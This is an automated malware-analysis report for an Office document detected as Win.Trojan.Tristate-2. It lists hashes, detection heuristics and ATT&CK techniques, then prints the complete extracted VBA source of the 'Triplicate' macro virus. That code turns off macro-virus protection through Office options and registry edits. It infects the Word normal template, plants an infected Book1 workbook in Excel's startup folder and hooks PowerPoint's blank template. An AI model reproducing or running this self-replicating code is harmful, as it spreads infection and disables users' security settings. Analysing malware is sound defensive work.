Win.Trojan.Tristate-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 c2d6dea1b7d5e025…

MALICIOUS

Office (OLE)

50.0 KB Created: 2004-03-17 08:16:00 Authoring application: Microsoft Word 9.0 First seen: 2016-12-24
MD5: d601aebdff0f1fd14d349ad7a947beb3 SHA-1: 2764e9292468b9b7099a96eed01ed86ee319a1e2 SHA-256: c2d6dea1b7d5e0254b4ae41347add0cf7823d695d6a74cabdc22750f92b2120f
220 Risk Score

Malware Insights

Win.Trojan.Tristate-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with signatures Win.Trojan.Tristate-2 and Doc.Trojan.Tristate-1. The VBA macros contain CreateObject and GetObject calls, indicating an attempt to execute code. The script attempts to manipulate Office application settings and potentially download additional payloads, although the script is truncated.

Heuristics 4

  • ClamAV: Win.Trojan.Tristate-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Tristate-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
        Set WordObj = GetObject(, "Word.Application")
        If WordObj = "" Then

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9446 bytes
SHA-256: a196c80e8ff5547e6d34bf9347436f61b153848ef0c48675472ff3efe381249a
Detection
ClamAV: Doc.Trojan.Tristate-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'<!--1nternal-->
'Triplicate v0.21 /1nternal
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountofLines
        AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
        If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
            AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
        End If
    End If
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountofLines
        NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
        End If
        xlApp.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
    End If
    If TT.Lines(1, 1) <> "'<!--1nternal-->" Then
        TT.DeleteLines 1, TT.CountofLines
        TT.InsertLines 1, NT.Lines(1, NT.CountofLines)
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
        Set WordObj = GetObject(, "Word.Application")
        If WordObj = "" Then
            Set WordObj = CreateObject("Word.Application")
            WQuit = True
        End If
        Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
        WordObj.Options.SaveNormalPrompt = False
        NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + TW.Lines(23, 3) + Chr(13) + Chr(10) + TW.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub"
        WordObj.Run "Normal.ThisDocument.DisableAV"
        NT.DeleteLines 1, NT.CountofLines
        NT.InsertLines 1, TW.Lines(1, TW.CountofLines)
        Set NT = Nothing
        If WQuit = True Then WordObj.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines)
            NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
        Set xlApp = CreateObject("Excel.Application")
        Set Book1Obj = xlApp.Workbooks.Add
        Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines)
        Book1Obj.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
        Book1Obj.Close
        xlApp.Quit
    End If
    If AW.Lines(1, 1) <> "'<!--1nternal-->" Then
        AW.InsertLines 1, TW.Lines(1, TW.CountofLines)
    End If
End Sub
Private Sub actionhook(tristate)
    On Error Resume Next
    If Int(Rnd * 7) = 0 Then
        Set Home = ActivePresentation
        If UCase(Dir(Application.Path + "\Xlstart\Book1.")) <> UCase("BOOK1") Then
            Set WordObj = GetObject(, "Word.Application")
            If WordObj = "" Then
                Set WordObj = CreateObject("Word.Application")
                WQuit = True
            End If
            Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
            WordObj.Options.SaveNormalPrompt = False
            NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(23, 3) + Chr(13) + Chr(10) + Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub"
            WordObj.Run "Normal.ThisDocument.DisableAV"
            NT.DeleteLines 1, NT.CountofLines
            NT.InsertLines 1, Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(1, Home.VBProject.VBComponents("Triplicate").CodeModule.CountofLines)
            NT.ReplaceLine 118, "Private Sub actionhook(tristate)"
            Set NT = Nothing
            If WQuit = True Then WordObj.Quit
            Set xlApp = CreateObject("Excel.Application")
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(1, Home.VBProject.VBComponents("Triplicate").CodeModule.CountofLines)
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.ReplaceLine 118, "Private Sub actionhook(tristate)"
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
            xlApp.Quit
            Set PBT = Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
            dontadd = False
            For Each ModComponent In PBT.VBProject.VBComponents
                If ModComponent.Name = "Triplicate" Then dontadd = True
            Next
            If dontadd <> True Then
                Set NewMod = PBT.VBProject.VBComponents.Add(1)
                NewMod.Name = "Triplicate"
                NewMod.CodeModule.InsertLines 1, Home.VBProject.VBComponents("Triplicate").CodeModule.Lines(1, Home.VBProject.VBComponents("Triplicate").CodeModule.CountofLines)
                Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
                With ShapetoWack
                    .Name = "Triplicate"
                    .ZOrder (1)
                    .Line.Visible = False
                    .Fill.Visible = False
                    .ActionSettings(1).Action = 8
                    .ActionSettings(1).Run = "actionhook"
                End With
                PBT.Save
            End If
            PBT.Close
        End If
    End If
    ActivePresentation.SlideShowWindow.View.Next
End Sub
  RefreshTable
End Sub

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